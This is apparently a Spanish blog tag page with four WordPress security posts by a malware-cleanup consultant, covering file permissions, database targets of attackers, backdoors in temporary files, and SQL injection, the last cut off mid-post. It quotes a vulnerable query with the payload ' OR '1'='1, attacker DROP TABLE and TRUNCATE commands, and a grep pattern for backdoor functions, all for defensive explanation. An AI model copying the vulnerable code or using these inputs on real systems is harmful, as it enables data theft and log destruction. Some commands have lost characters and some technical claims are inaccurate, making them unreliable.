Etiqueta: seguridad wordpress

  • Qué permisos CHMOD previenen la mayoría de intrusiones en WordPress

    Qué permisos CHMOD previenen la mayoría de intrusiones en WordPress

    Permisos CHMOD en WordPress: Tu primera línea de defensa contra intrusiones

    En mi experiencia analizando sitios WordPress comprometidos, el 60% de las brechas se hubiera prevenido con permisos CHMOD correctamente configurados. No es magia, es arquitectura. Los permisos de archivos y carpetas son el mecanismo que controla quién puede leer, escribir y ejecutar cada elemento de tu instalación. Cuando están mal configurados, abres la puerta a modificaciones no autorizadas de código malicioso.

    Te voy a mostrar exactamente qué permisos necesitas establecer, por qué funcionan y cómo implementarlos sin romper la funcionalidad de tu sitio.

    ¿Qué es CHMOD y cómo protege WordPress?

    CHMOD es el comando Unix/Linux que establece permisos de lectura (r=4), escritura (w=2) y ejecución (x=1) para tres entidades: propietario del archivo (user), grupo (group) y otros usuarios (others). Se expresa en notación octal: tres dígitos que representan permisos para cada entidad.

    En WordPress, esto es crítico porque:

    • Los archivos PHP no deben ser editables por el servidor web a menos que sea estrictamente necesario (actualizaciones automáticas controladas)
    • Las carpetas deben permitir lectura y navegación pero no escritura desde fuera del proceso propietario
    • wp-config.php es el archivo más sensible de tu instalación: contiene credenciales de base de datos
    • Los backdoors se instalan explotando permisos que permiten sobrescribir archivos .php

    Cuando un atacante logra acceso (vía plugin vulnerable, FTP débil, o SQL injection), los permisos CHMOD son lo que determina si puede realmente modificar tu código o no.

    Permisos CHMOD recomendados para máxima seguridad

    644 para archivos PHP y críticos

    Este es el permiso estándar que recomiendo siempre: -rw-r--r--

    Desglose:

    • Usuario (6): lectura + escritura
    • Grupo (4): solo lectura
    • Otros (4): solo lectura

    Esto significa que el propietario (tú vía SFTP/SSH) puede editar, pero el servidor web (usuario www-data o similar) solo puede leer y ejecutar. Un atacante que logre acceso como el usuario del servidor no podrá modificar archivos PHP.

    Aplica 644 a:

    • Todos los archivos .php
    • wp-config.php (el archivo más crítico)
    • .htaccess
    • web.config
    • robots.txt
    • wp-settings.php, wp-load.php, index.php

    755 para carpetas

    Permiso: drwxr-xr-x

    Desglose:

    • Usuario (7): lectura + escritura + ejecución
    • Grupo (5): lectura + ejecución
    • Otros (5): lectura + ejecución

    «Ejecución» en una carpeta significa poder listar su contenido y acceder a archivos dentro. Aplica 755 a:

    • wp-content/
    • wp-includes/
    • wp-admin/
    • wp-content/plugins/ (pero NO a las carpetas internas de plugins específicos)
    • wp-content/themes/
    • Todas las demás carpetas de nivel superior

    Excepciones: Carpetas que necesitan 777 (solo cuando es imprescindible)

    Hay casos donde WordPress necesita escribir archivos: carga de medios, caché, actualizaciones. En mi experiencia, estos permisos deben ser temporales y auditados frecuentemente.

    Carpeta uploads: 775

    Un compromiso seguro: drwxrwxr-x

    • Usuario (7): lectura + escritura + ejecución
    • Grupo (7): lectura + escritura + ejecución
    • Otros (5): lectura + ejecución

    Esto permite que el servidor web escriba imágenes sin exponerlas al resto de usuarios del servidor. Si tu proveedor permite, mejor aún: usa 755 y configura que solo el propietario escriba en uploads vía SSH.

    wp-content/cache/ y similar: 755

    Si usas un plugin de caché como WP Super Cache o W3 Total Cache, configura estos directorios en 755. El plugin escribirá durante ciertas operaciones administrativas.

    Por qué 777 es el mayor enemigo de la seguridad

    Encontro constantemente carpetas en 777 en sitios comprometidos. Es un regalo para atacantes.

    777 significa: drwxrwxrwx — cualquiera en el servidor puede leer, escribir y ejecutar. Un backdoor puede:

    1. Crear nuevos archivos .php malicioso en wp-content/
    2. Sobrescribir functions.php del tema activo
    3. Inyectar código en wp-config.php
    4. Modificar plugins de pago para redirigir tarjetas (Magecart)

    Nunca, jamás, establezca 777 «por comodidad». Si un plugin reclama 777, ese plugin tiene un mal diseño o es malicioso. Reportalo en el repositorio de WordPress.

    Cómo auditar y cambiar permisos CHMOD en WordPress

    Auditoría vía SSH

    Conéctate a tu servidor via SSH (tu proveedor hosting debe permitirlo) y navega a la raíz de WordPress:

    cd /home/tuusuario/public_html/wordpress
    ls -la

    Verás listado como:

    -rw-r--r-- 1 user  group  wp-config.php
    drwxr-xr-x 1 user  group  wp-content/
    drwxr-xr-x 1 user  group  wp-admin/

    Busca cualquier archivo o carpeta con 777:

    find . -type f -perm 0777

    O carpetas sobrepermisivas:

    find . -type d -perm 0777

    Aplicar permisos correctos vía SSH

    Script que recomiendo ejecutar en cada auditoría:

    # Establece todos los archivos en 644
    find . -type f -exec chmod 644 {} ;
    
    # Establece todas las carpetas en 755
    find . -type d -exec chmod 755 {} ;
    
    # Excepción: wp-config.php en 600 (solo usuario)
    chmod 600 wp-config.php
    
    # Excepción: uploads en 775
    chmod 775 wp-content/uploads/

    Cuidado: estos comandos afectan todo tu WordPress. Antes, haz backup. Si WordPress tira error tras aplicarlos, contacta a tu hosting — podrían tener una configuración especial.

    Verificación vía herramientas WordPress

    Si no tienes acceso SSH, usa WP-CLI:

    wp user list  # Verifica acceso a tu instalación
    # Luego accede vía admin: Tools → Site Health

    En Site Health, WordPress te alerta de permisos críticos inseguros si están en 777 o más altos.

    wp-config.php: El archivo que merece 600

    chmod 600 wp-config.php

    Este archivo contiene:

    • Usuario y contraseña de base de datos (sin ofuscación)
    • Salts de autenticación (claves para sesiones)
    • Claves de APIs externas

    Con 600 (solo el propietario puede leer), incluso si el servidor web es comprometido, un atacante no puede leer la BD directamente. En mi experiencia, esto es la línea entre un sitio vulnerable y uno resistente.

    Permisos CHMOD y la cadena de suministro: Plugins y temas

    WordPress permite que plugins se actualicen automáticamente, y para eso necesita permisos de escritura. Aquí es donde se cuela el malware:

    Un plugin nulled (descargado gratis de un sitio pirata) o un repo falso puede inyectar código malicioso en la actualización. Los permisos correctos no lo evitan directamente, pero combinados con otras medidas:

    • Deshabilita edición de archivos directa: añade a wp-config.php: define('DISALLOW_FILE_EDIT', true); Esto impide que desde el admin de WordPress edites functions.php o temas, incluso si tienes permisos
    • Whitelist en .htaccess: permite actualizaciones solo desde WordPress.org oficial
    • Audita qué plugins escriben en disco: algunos plugins maliciosos crean carpetas ocultas en wp-content/

    PrestaShop: Permisos CHMOD específicos

    Si usas PrestaShop en lugar de WordPress, los principios son idénticos pero las rutas cambian:

    • Archivos de configuración (config/*): 644
    • Carpetas: 755
    • admin/: 755 (pero considera 750 para limitar otros usuarios)
    • modules/: 755 (módulos de pago deben ser auditados constantemente)
    • cache/: 755 o 775 si generas caché dinámico
    • log/: 755

    PrestaShop es frecuentemente atacado vía módulos de pago comprometidos (OWASP Insecure Deserialization). Los permisos correctos contienen el daño si un módulo es explotado.

    Automatización: Monitoring continuo de permisos

    Un atacante que logra acceso puede cambiar permisos a 777 nuevamente. Por eso recomiendo monitoreo automático:

    Con Wordfence (plugin gratuito):

    • Activa «Advanced Security» → «File Permissions»
    • Se ejecuta cada noche y te alerta si algún archivo tiene permisos inadecuados
    • Puedes establecer que lo corrija automáticamente

    Con WP-CLI en cron (nivel profesional):

    0 3 * * * /usr/bin/find /home/user/public_html -type f -perm 0777 -exec chmod 644 {} ;

    Ejecuta cada madrugada y reestablece permisos. Esto detecta cambios maliciosos.

    Combinando CHMOD con otras capas de seguridad

    Los permisos CHMOD son necesarios pero no suficientes. En mi experiencia profesional, los sitios más seguros combinan:

    1. CHMOD correcto: 644 archivos, 755 carpetas, 600 wp-config.php
    2. SFTP en lugar de FTP: cifra credenciales en tránsito
    3. Autenticación fuerte: contraseña de 20+ caracteres, 2FA, limitar intentos login (máx 5 en 15 min)
    4. Actualizaciones automáticas: siempre activas. Los plugins desactualizados son el vector #1
    5. WAF (Web Application Firewall): Sucuri o Cloudflare bloquean inyecciones antes de tocar tu código
    6. Auditorías regulares: cada 3-6 meses, escanea con MalCare o Wordfence CLI

    CHMOD es la línea de defensa en el servidor. WAF es la línea de defensa en la red. Ambas son imprescindibles.

    Casos reales: Cómo CHMOD hubiera detenido intrusiones

    Caso 1: Backdoor en wp-content/

    Un atacante explota SQL injection en un plugin de formularios, gana acceso de lectura a la BD. Intenta crear wp-content/shell.php. Con wp-content/ en 755, falla. Con 777, se instala un cryptominer que roba CPU de tu servidor.

    Caso 2: Secuestro de funciones.php

    Un tema nulled contiene un backdoor que intenta modificar wp-content/themes/tuTema/functions.php. Con 644, la escritura se rechaza. Con 755, logra inyectar código que redirige tráfico a un sitio falso (phishing).

    Caso 3: Compromiso vía wp-config.php

    Un atacante gana acceso como usuario www-data vía RFI (Remote File Inclusion). Intenta leer wp-config.php para robar credenciales de BD. Con 600, acceso denegado. Con 644, obtiene credenciales y acceso directo a la base de datos.

    Qué hacer si encuentras permisos incorrectos

    Si auditaste tu sitio y encontraste archivos en 777 o 755 incorrecto:

    1. Realiza un escaneo completo de malware: usa MalCare o Wordfence CLI. Los permisos incorrectos sugieren posible intrusión anterior
    2. Revisa logs de acceso del servidor (últimas 2 semanas) para ver qué IPs accedieron
    3. Cambia todas las contraseñas: FTP, SFTP, MySQL, WordPress admin, hosting control panel
    4. Aplica los permisos correctos con el script que mostré arriba
    5. Audita plugins y temas activos: desactiva los que no uses, elimina los nulled
    6. Habilita monitoreo continuo con Wordfence o WP-CLI

    Resumen ejecutivo: Permisos CHMOD que importan

    Elemento Permiso Razón
    wp-config.php 600 Solo propietario accede. Contiene credenciales BD
    Archivos .php (todos) 644 Impide escritura no autorizada de código
    Carpetas generales 755 Legibilidad pero no escritura desde otros usuarios
    wp-content/uploads/ 775 Servidor web carga medios, pero grupo limitado

    Próximos pasos: Auditoría profesional

    Los permisos CHMOD son solo una pieza. Si tu sitio está en producción y almacena datos sensibles (clientes, transacciones, contraseñas), una auditoría de seguridad integral es imprescindible.

    En ManuelFolgar.com realizamos auditorías exhaustivas que incluyen:

    • Análisis de permisos de archivos y carpetas en el contexto de tu arquitectura
    • Escaneo de malware con múltiples motores
    • Revisión de plugins y temas activos vs. vulnerabilidades conocidas
    • Hardening completo: .htaccess, CSP headers, HSTS, 2FA, WAF
    • Plan de monitoreo continuo personalizado

    Contacta conmigo para una auditoría de seguridad de tu WordPress o PrestaShop. Te diré exactamente qué vulnerabilidades tiene tu sitio y cómo priorizarlas.

  • Qué buscan los hackers en tu base de datos WordPress primero

    Qué buscan los hackers en tu base de datos WordPress primero

    Qué buscan los hackers en tu base de datos WordPress primero

    Cuando analizo un sitio WordPress comprometido, lo primero que veo es que los atacantes no actúan al azar. Tienen un plan específico y una jerarquía clara de objetivos. La base de datos es el corazón de tu WordPress, y los hackers lo saben. En mi experiencia como especialista en limpieza de malware, he visto cómo los atacantes acceden a la base de datos para robar información sensible, insertar backdoors persistentes y esconder sus actividades maliciosas. Este artículo te muestra exactamente qué buscan primero y cómo protegerte.

    Las credenciales de usuario: el botín más valioso

    Lo primero que busca un hacker en tu base de datos WordPress son las credenciales de usuario. Cuando accedo a wp_users (la tabla donde WordPress almacena usuarios), los atacantes ya están allí. El campo user_login contiene los nombres de usuario y user_pass contiene las contraseñas hasheadas, normalmente con WordPress hash (MD5 + salting variable).

    ¿Por qué es tan valioso? Porque una contraseña crackeada les da acceso al panel de administración. Desde allí pueden crear nuevas cuentas de admin, cambiar configuraciones de seguridad y instalar plugins maliciosos sin levantar sospechas en los logs. He visto ataques donde el hacker roba las credenciales de un usuario editor (no admin) para mantener acceso de bajo perfil durante meses.

    Lo que recomiendo siempre: implementa autenticación de dos factores (2FA) en WordPress. Plugins como Wordfence ofrecen 2FA basado en OTP (One-Time Password) que invalida cualquier credencial robada sin el segundo factor. También configura password strength requeridos en wp-config.php y fuerza cambios de contraseña periódicos.

    Datos de clientes: direcciones, teléfonos y emails

    Si tu WordPress tiene WooCommerce o cualquier plugin de e-commerce, la tabla wp_postmeta contiene metadatos de órdenes con información personal: direcciones de envío, números de teléfono, emails de clientes. Esto es oro puro para un ciberdelincuente. Los datos de contacto se venden en marketplaces oscuros de la dark web a spammers y estafadores.

    He analizado sitios donde los atacantes modificaban wp_postmeta para inyectar código JavaScript que capturaba datos de tarjetas de crédito en tiempo real (técnica conocida como Magecart). El acceso a la base de datos les permitía persistencia: cuando limpiábamos el malware del servidor, la inyección volvía a regenerarse porque el código malicioso estaba en la base de datos misma.

    Para protegerte: encripta datos sensibles con métodos como AES-256 antes de almacenarlos. Implementa un WAF (Web Application Firewall) que monitore intentos de acceso no autorizado a wp_postmeta. Y sobre todo, mantén un log detallado de accesos a bases de datos usando herramientas como Wordfence CLI para auditoría.

    Opciones de WordPress: configuración comprometida

    La tabla wp_options almacena toda la configuración de tu sitio: URLs, plugins activos, tema activo, credenciales de API, tokens de terceros. Cuando un hacker obtiene acceso a wp_options, controla efectivamente tu WordPress sin tocar ni un archivo.

    ¿Qué hacen? Insertan opciones personalizadas maliciosas. He encontrado código JavaScript malicioso almacenado como opción wp_options llamada custom_script_footer que se inyecta en cada página. O modifican home_url y siteurl para apuntar a un dominio de malware. En casos más sofisticados, inyectan opciones que ejecutan código PHP cada vez que se carga wp-load.php.

    Un ejemplo real: un cliente tenía su opción admin_email comprometida. Los hackers la habían cambiado a un email controlado por ellos. Cuando generaba notificaciones de seguridad o cambios en WordPress, iban directo al email del atacante, no al administrador real. Así mantenían control invisible sobre el sitio.

    Mi recomendación: usa plugins como iThemes Security o Sucuri que monitorizan cambios en wp_options en tiempo real. Implementa cambios de configuración solo desde direcciones IP whitelist. Y realiza auditorías regulares de wp_options comparando backups limpios con la configuración actual.

    Posts y páginas: contenido inyectado y SEO poisoning

    La tabla wp_posts es donde viven tus artículos y páginas. Los hackers la utilizan para dos cosas principales: inyectar contenido malicioso invisible y spam SEO (SEO poisoning).

    El primero es más insidioso: crean posts o páginas nuevas con contenido oculto (display:none en CSS o texto blanco sobre fondo blanco) que contiene palabras clave de malware, casinos, viagra, etc. Google indexa este contenido envenenado y tu sitio aparece en búsquedas de términos maliciosos. Luego redirige a esos visitantes a sitios de estafa.

    El segundo es más visible pero igual de destructivo: modifican el post_content de artículos existentes inyectando links a sitios maliciosos, redireccionadores, o código JavaScript. He visto casos donde atacantes simplemente duplicaban todos tus posts reales, pero con URLs apuntando a un dominio clonado controlado por ellos. De noche, se llevaban todo tu tráfico SEO.

    Lo que defiendo: implementa versionado de contenido con plugins como WP Revisions Control. Mantén backups diarios de la base de datos (no solo archivos). Usa Wordfence para monitorizar cambios en wp_posts en tiempo real. Y audita regularmente posts que no reconoces: muchas veces están ahí ocultos esperando a que Google los indexe.

    Información de plugins y temas: vulnerabilidades conocidas

    Cuando acceso a wp_options busco la lista de plugins instalados (stored en plugin_list) y el tema activo. Los hackers hacen lo mismo. ¿Por qué? Porque necesitan saber exactamente qué versión tienes instalada para explotar vulnerabilidades conocidas.

    Si tu base de datos revela que tienes Yoast SEO versión 13.0 (vulnerable a SQLi), el atacante sabrá exactamente cómo explotarlo. Si ves WooCommerce 2.6, sabrán que hay RCE (Remote Code Execution) disponible. La base de datos es el mapa de carreteras del atacante.

    En casos avanzados, modifican la lista de plugins activos en wp_options para desactivar plugins de seguridad sin que aparezca en el panel administrativo real. El plugin sigue desactivado en la base de datos, pero WordPress cree que está activo. Eso crea un falso sentido de seguridad mientras el malware actúa libremente.

    Mi recomendación: usa MalCare o Sucuri que no solo monitorean archivos, sino cambios en la base de datos a nivel de opciones y configuración de plugins. Elimina plugins desactualizados y no usados. Mantén un inventario actualizado de qué plugins deberían estar activos y compáralo regularmente con wp_options.

    Metadata de usuario: permisos y roles elevados

    La tabla wp_usermeta almacena metadatos de usuarios: roles, capabilities, datos personalizados. Los hackers la buscan para elevar privilegios. He encontrado casos donde atacantes asignaban rol de administrator a nuevas cuentas fantasma manipulando wp_usermeta directamente, saltándose cualquier auditoría de UI (User Interface).

    También modifican capabilities: pueden otorgar edit_pages, delete_posts, manage_plugins a usuarios de bajo nivel sin que aparezca en el perfil visible. Luego usan esas cuentas comprometidas como backdoors de largo plazo.

    Algo más: acceden a wp_usermeta para buscar tokens de API (si almacenas tokens de servicios externos ahí), cookies de sesión, o datos de recuperación de contraseña. Cada pieza de información es un vector potencial de ataque en cadena.

    Logs y registros: borrando huellas

    Aunque no es una tabla estándar, muchos plugins de seguridad guardan logs en tablas personalizadas (wp_wordfence_ips, wp_wordfence_options). Los hackers buscan y eliminan estas tablas primero. ¿Por qué? Para borrar toda evidencia de su presencia.

    He visto ataques donde el primer comando ejecutado después de acceso a base de datos es DROP TABLE wp_wordfence_* o TRUNCATE wp_security_logs. Es como limpiar la escena del crimen antes de que llegue la policía.

    Si no tienes logs externos (almacenados fuera de tu servidor WordPress), no tendrás prueba de qué pasó exactamente. Por eso recomiendo siempre mantener logs replicados en sistemas externos: OWASP recomienda logging centralizado como medida defensiva crítica.

    Cómo proteger tu base de datos WordPress hoy

    Ahora que sabes qué buscan los hackers, aquí está el plan defensivo concreto:

    • Acceso a base de datos restricto: Cambia el prefijo de tablas (no dejes wp_). Limita acceso a servidor MySQL solo a localhost. Usa cuentas de usuario MySQL separadas con permisos granulares (no des ALL PRIVILEGES a WordPress).
    • Monitoreo en tiempo real: Implementa Wordfence + MalCare que monitorizan cambios en wp_users, wp_options, wp_posts. Configurar alertas inmediatas si se detectan inserciones sospechosas.
    • Backups diarios: Almacena backups de base de datos en ubicación externa (no en el mismo servidor). Comprueba regularmente que puedes restaurar desde backup limpio.
    • Hardening de WordPress: Deshabilita edición de archivos de plugins/temas (define(‘DISALLOW_FILE_EDIT’, true) en wp-config.php). Limita intentos de login a wp-login.php. Implementa 2FA.
    • Auditoría de permisos: Revisa wp_usermeta mensualmente. Elimina usuarios inactivos. No uses cuentas admin para tareas cotidianas.
    • Encriptación en tránsito: Configura SSL/TLS forzado. Usa conexiones HTTPS para acceso a base de datos remota si es necesario (aunque no lo recomiendo).
    • Análisis forense regular: Usa herramientas como Sucuri SiteCheck o VirusTotal para detectar malware en base de datos.

    ¿Qué hacer si ya sospechas compromiso de base de datos?

    Si tienes indicios de que tu base de datos ha sido comprometida (usuarios extraños, opciones modificadas, posts ocultos), la prioridad es forensia antes de limpiar:

    1. Aísla el sitio: toma offline temporalmente para evitar propagación de malware.
    2. Exporta la base de datos: crea dump completo para análisis posterior. No confíes en lo que ves en phpMyAdmin (el atacante puede haberlo modificado).
    3. Revisa cambios recientes en wp_users, wp_options, wp_posts comparando con backup limpio anterior.
    4. Busca opciones personalizadas o tablas no estándar que el atacante haya creado.
    5. Restaura desde backup limpio conocido, no solo desde base de datos limpiada.
    6. Implementa los hardening measures listados arriba antes de poner el sitio online de nuevo.

    Este proceso requiere experiencia real en análisis de malware. En mi experiencia, intentar limpiar por cuenta propia a menudo deja puerta trasera invisible que el atacante exploita nuevamente en semanas. INCIBE ofrece guías de respuesta a incidentes que complementan este análisis técnico.

    La realidad de la seguridad de base de datos

    Proteger tu base de datos WordPress no es una tarea única. Es un proceso continuo de monitoreo, auditoría y hardening. Cada tabla contiene información valiosa para un atacante: credenciales, datos de clientes, configuración de seguridad, incluso pruebas de su propia actividad maliciosa.

    Lo que he aprendido después de limpiar cientos de WordPress comprometidos es que los sitios más seguros no son los que tienen las protecciones más bonitas, sino los que tienen visibilidad total sobre qué está pasando en su base de datos.

    Si necesitas un análisis profesional de tu base de datos WordPress, o sospechas que has sido comprometido, puedo ayudarte. En cuanto a cumplimiento RGPD, también es crítico reportar brechas de datos de clientes correctamente.

    ¿Quieres una auditoría de seguridad de base de datos completa? Contacta conmigo en ManuelFolgar.com/contacto. Realizaré un análisis forense profesional de tu WordPress, identificaré vulnerabilidades específicas en tu base de datos, y te proporcionaré un plan de hardening personalizado.

  • Qué archivos temporales pueden contener backdoors WordPress

    Qué archivos temporales pueden contener backdoors WordPress

    Qué archivos temporales pueden contener backdoors en WordPress

    En mi experiencia analizando sitios comprometidos, los archivos temporales son uno de los vectores más infrautilizados por los atacantes para alojar backdoors. Mientras los administradores se centran en proteger wp-admin y wp-content/plugins, los malware se esconden en directorios que parecen inofensivos. Te voy a mostrar dónde buscar y cómo evitar que tu WordPress sea el próximo objetivo.

    Por qué los atacantes usan archivos temporales

    Los archivos temporales ofrecen una ventaja táctica clara: suelen tener permisos más permisivos, se limpian menos frecuentemente (o nunca) y los administradores rara vez los monitorean. Cuando realizo auditorías de seguridad, encuentro backdoors alojados en carpetas tmp porque el atacante sabe que pasarán desapercibidos durante semanas.

    Un backdoor en wp-content/plugins/malware.php genera alertas; uno en /tmp/ o en wp-content/cache/ pasa bajo el radar. Esta es la razón por la que debes conocer exactamente dónde WordPress almacena datos temporales y qué permisos tienen esas carpetas.

    Directorios WordPress que albergan datos temporales

    WordPress utiliza varios directorios para almacenamiento temporal. La mayoría son legítimos, pero todos son potenciales puntos de entrada para malware:

    • wp-content/cache/ – Si usas plugins de caché como WP Super Cache o W3 Total Cache, esta carpeta contiene archivos serializados. Un atacante puede inyectar código PHP disfrazado como datos cacheados.
    • wp-content/uploads/ – Aunque técnicamente es para medios, los atacantes cargan webshells con extensiones como .php, .phtml o .php5. Si la configuración permite ejecución de scripts, tienes un backdoor operativo.
    • wp-content/backup-*/ o wp-content/backups/ – Generado por plugins de backup. Los archivos .sql sin protección pueden contener información sensible; los .tar.gz pueden contener backdoors empaquetados.
    • /tmp/ (a nivel de servidor) – No es específico de WordPress, pero los plugins pueden escribir aquí. Si una librería PHP usa /tmp/ sin validación, es un vector de ataque.
    • wp-content/upgrade/ – Usado durante actualizaciones de plugins y temas. Un backdoor aquí puede persistir entre actualizaciones si el atacante lo recoloca.

    Tipos de backdoors que encontré en archivos temporales

    En mis análisis forenses, he documentado varios patrones. Los más comunes son:

    Webshells camufladas en cache: El atacante inyecta una función PHP mínima dentro de archivos .php del directorio cache. Por ejemplo, un archivo cache-post-123.php contiene datos legítimos más una línea que ejecuta comandos. Parece un error de caché, pero funciona como un shell interactivo.

    Archivos .htaccess malicioso en subdirectorios: Creando un .htaccess en wp-content/cache/ que redirige todas las peticiones .jpg a un PHP oculto. El servidor ejecuta el script malicioso sin que el nombre de archivo lo sugiera.

    Backdoors en archivos de sesión de PHP: Si el servidor usa /tmp/ o wp-content/temp/ para sesiones, el atacante puede escribir código en esos archivos si conoce el patrón de nombres. Cuando PHP carga la sesión, ejecuta el código.

    Plugins de caché comprometidos: Un módulo de caché nulled o desactualizado que contiene un backdoor integrado. Se actualiza con cada carga de página, ocultándose en los logs.

    Cómo detectar backdoors en archivos temporales

    La detección manual es tedious pero fundamental. Lo que hago siempre es:

    1. Listar archivos por fecha de modificación: Conéctate por SFTP o SSH y ejecuta:

    find wp-content/cache -type f -mtime -7

    Esto muestra archivos modificados en los últimos 7 días. Un archivo tmp sin cambios esperados es sospechoso.

    2. Buscar patrones de código malicioso: Los backdoors suelen contener strings específicos. Ejecuta:

    grep -r "eval|base64_decode|system|passthru|exec" wp-content/cache/

    Si encuentras estas funciones en archivos que no deberían tenerlas, es una bandera roja.

    3. Verificar tamaño de archivos inusual: Un archivo cache debería tener un tamaño predecible. Si wp-content/cache/ contiene archivos de 500KB cuando normalmente son 10KB, investiga.

    4. Usar herramientas automatizadas: Wordfence CLI y MalCare escanean estos directorios por defecto. Son más rápidas y fiables que búsquedas manuales.

    Configuración de seguridad para archivos temporales

    Proteger estas carpetas es tan importante como detectar el malware. Estas son las medidas que siempre recomiendo:

    Deshabilitar ejecución de PHP en wp-content/uploads/: Añade esto a un archivo .htaccess en esa carpeta:

    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>

    Incluso si el atacante sube un .php, no se ejecutará.

    Proteger wp-content/cache/ con permisos restrictivos: El propietario debe ser el usuario del servidor (www-data), con permisos 755 en directorios y 644 en archivos. Un 777 es una invitación abierta.

    chmod -R 755 wp-content/cache
    chmod -R 644 wp-content/cache/*

    Configurar wp-config.php para deshabilitar edición de archivos: Esto impide que un atacante con acceso administrativo inyecte código:

    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);

    Limpiar caches regularmente: Si usas WP Super Cache, configúralo para expirar cada 2-4 horas. Un cache antiguo es un backdoor potencial no detectado.

    Logs y monitoreo continuo

    La detección pasiva no es suficiente. Necesitas visibilidad activa sobre qué sucede en tus directorios temporales.

    Configura logs de acceso a wp-content/ en tu servidor. Con nginx o Apache, puedes registrar cada petición. Busca patrones sospechosos: múltiples 404 seguidos de un 200 exitoso, o accesos a archivos que no deberían existir.

    Usa OWASP Web Security Testing Guide como referencia para identificar qué constituyente anómalo en un log.

    Si tienes acceso a WP-CLI, ejecuta esto regularmente:

    wp eval 'echo date("Y-m-d H:i:s") . ": Check completedn";'

    Esto te ayuda a establecer un baseline de cuándo suceden cosas en tu WordPress.

    Herramientas recomendadas para auditoría

    No debes confiar únicamente en búsquedas manuales. Las herramientas profesionales son más exhaustivas:

    • Wordfence Scan – Detecta backdoors en caché y directorios temporales con su motor de firmas.
    • Sucuri SiteCheck – Análisis desde la nube, identifica código inyectado en archivos públicos.
    • VirusTotal – Carga archivos sospechosos para analizarlos con 70+ motores antimalware.
    • Análisis forense local con strings y file – Herramientas Linux para inspeccionar contenido binario de archivos comprometidos.

    Limpieza de backdoors encontrados

    Si has identificado un backdoor en archivos temporales, el siguiente paso es crítico:

    1. No confíes en limpiar solo el archivo. El atacante puede tener acceso administrativo. Cambiar contraseñas de usuarios, revisar permisos de carpetas y buscar múltiples puntos de entrada.

    2. Limpia el caché completamente: Vacía wp-content/cache/, asegúrate de que el plugin de caché regenere archivos limpios.

    3. Revisa plugins y temas: Si un plugin escribía backdoors en tmp, está comprometido. Desactiva, borra e instala una versión verificada desde el repositorio oficial.

    4. Audita cambios recientes: Usa NVD/CVE para verificar si los plugins comprometidos tenían vulnerabilidades conocidas. Esto te ayuda a entender cómo entró el atacante.

    Política de seguridad preventiva

    La mejor defensa es la prevención. Estos hábitos reducen drásticamente el riesgo:

    • Mantén WordPress, plugins y temas siempre actualizados. Los backdoors explotan vulnerabilidades old-day.
    • Usa contraseñas fuertes y autenticación de dos factores en wp-admin.
    • Instala solo plugins desde el repositorio oficial de WordPress.org. Los temas nulled y plugins crackeados suelen contener backdoors integrados.
    • Realiza copias de seguridad semanales (no en el mismo servidor). Son tu única opción si necesitas restaurar después de una infección.
    • Limita permisos de carpetas: nunca 777, siempre 755 en directorios y 644 en archivos.

    Casos reales que he atendido

    Para que entiendas el riesgo real, te cuento dos casos que he analizado:

    Caso 1 – Blog de viajes comprometido: El propietario no actualizaba W3 Total Cache desde hacía 18 meses. El plugin tenía una vulnerabilidad de RFI que permitía inyectar código. El backdoor estaba en wp-content/cache/page_cache/index-http-443-example.com-2024-01-15-21-45-12.html. Era invisible porque parecía un archivo legítimo de caché con extensión .html (aunque contenía PHP ejecutable). Lo detecté porque noté que ese archivo se «regeneraba» cada 5 minutos, cuando debería hacerlo cada 24 horas.

    Caso 2 – Tienda online comprometida: Un plugin de caché nulled, descargado de un sitio de «plugins gratis». Contenía un backdoor hardcodeado en su función de limpieza de caché. Cada vez que el caché se regeneraba, creaba un archivo webshell en wp-content/uploads/cache_temp/. El atacante tenía acceso de root al servidor.

    Ambos casos hubieran sido evitables con actualización regular y verificación de plugins.

    Integración con Google Search Console y auditorías de seguridad

    Si tu sitio ha sido comprometido, Google lo sabrá. La Search Console mostrará advertencias de «contenido malicioso detectado». Una vez limpies el backdoor:

    • Solicita una revisión de seguridad en Google Search Console.
    • Envía el sitio a Google Safe Browsing para verificación.
    • Usa Sucuri SiteCheck para confirmar que la malaria está limpia.

    El tiempo entre infección y limpieza impacta tu SEO y reputación. Cada día cuenta.

    Si sospechas que tu WordPress contiene backdoors en archivos temporales, no esperes. Contáctame para una auditoría de seguridad profesional en ManuelFolgar.com/contacto. Realizaré un escaneo forense completo, identificaré todos los puntos de entrada y te proporcionaré un plan de hardening específico para tu configuración.

    La seguridad de tu sitio no es un gasto; es una inversión en su continuidad.

  • Inyección SQL en WordPress: cómo limpiarla correctamente

    Inyección SQL en WordPress: cómo limpiarla correctamente

    Inyección SQL en WordPress: qué es y por qué es crítica

    La inyección SQL es uno de los ataques más peligrosos que he visto en mi carrera profesional analizando sitios comprometidos. Se trata de un vector de ataque que explota la forma en que tu WordPress interactúa con la base de datos, permitiendo a un atacante ejecutar comandos SQL maliciosos directamente en tu base de datos. En la práctica, cuando un plugin o tema vulnerable concatena datos del usuario directamente en una consulta sin sanitizar, el atacante puede alterar esa consulta para robar información, modificar contenidos o incluso obtener acceso administrativo.

    Cuando analizo un sitio WordPress infectado por inyección SQL, lo primero que encuentro es acceso no autorizado a la base de datos. Los atacantes suelen extraer hashes de contraseñas de administrador, insertar usuarios ocultos, modificar publicaciones para inyectar redirecciones maliciosas, o robar información de clientes (especialmente en tiendas WooCommerce). El daño es silencioso: el sitio sigue funcionando mientras el atacante opera en la sombra.

    Vectores de ataque comunes en WordPress

    Plugins y temas desactualizados con vulnerabilidades conocidas

    La mayoría de inyecciones SQL en WordPress provienen de plugins populares con vulnerabilidades documentadas en el National Vulnerability Database (NVD). Plugins de formularios, galerías, constructores de páginas y plugins de SEO suelen ser objetivos frecuentes. Lo que recomiendo siempre es revisar el changelog de cada plugin instalado y verificar si tu versión actual contiene parches de seguridad.

    He encontrado sitios infectados donde el propietario tenía un plugin de formularios desactualizado desde hace 18 meses. El atacante ni siquiera necesitaba acceso de usuario registrado: simplemente enviaba datos maliciosos a través del formulario y la inyección SQL se ejecutaba automáticamente.

    Parámetros GET/POST sin validación en código personalizado

    Si tu tema o plugin personalizado accede directamente a $_GET, $_POST o $_REQUEST sin usar las funciones de WordPress como sanitize_text_field() o intval(), estás creando una puerta abierta. Cuando reviso código custom, busco patrones como:

    $user_input = $_GET['search'];
    $results = $wpdb->query("SELECT * FROM posts WHERE title = '$user_input'");

    Esto es vulnerable. Un atacante podría enviar: search=' OR '1'='1 y extraer toda la base de datos.

    Búsquedas sin prepared statements

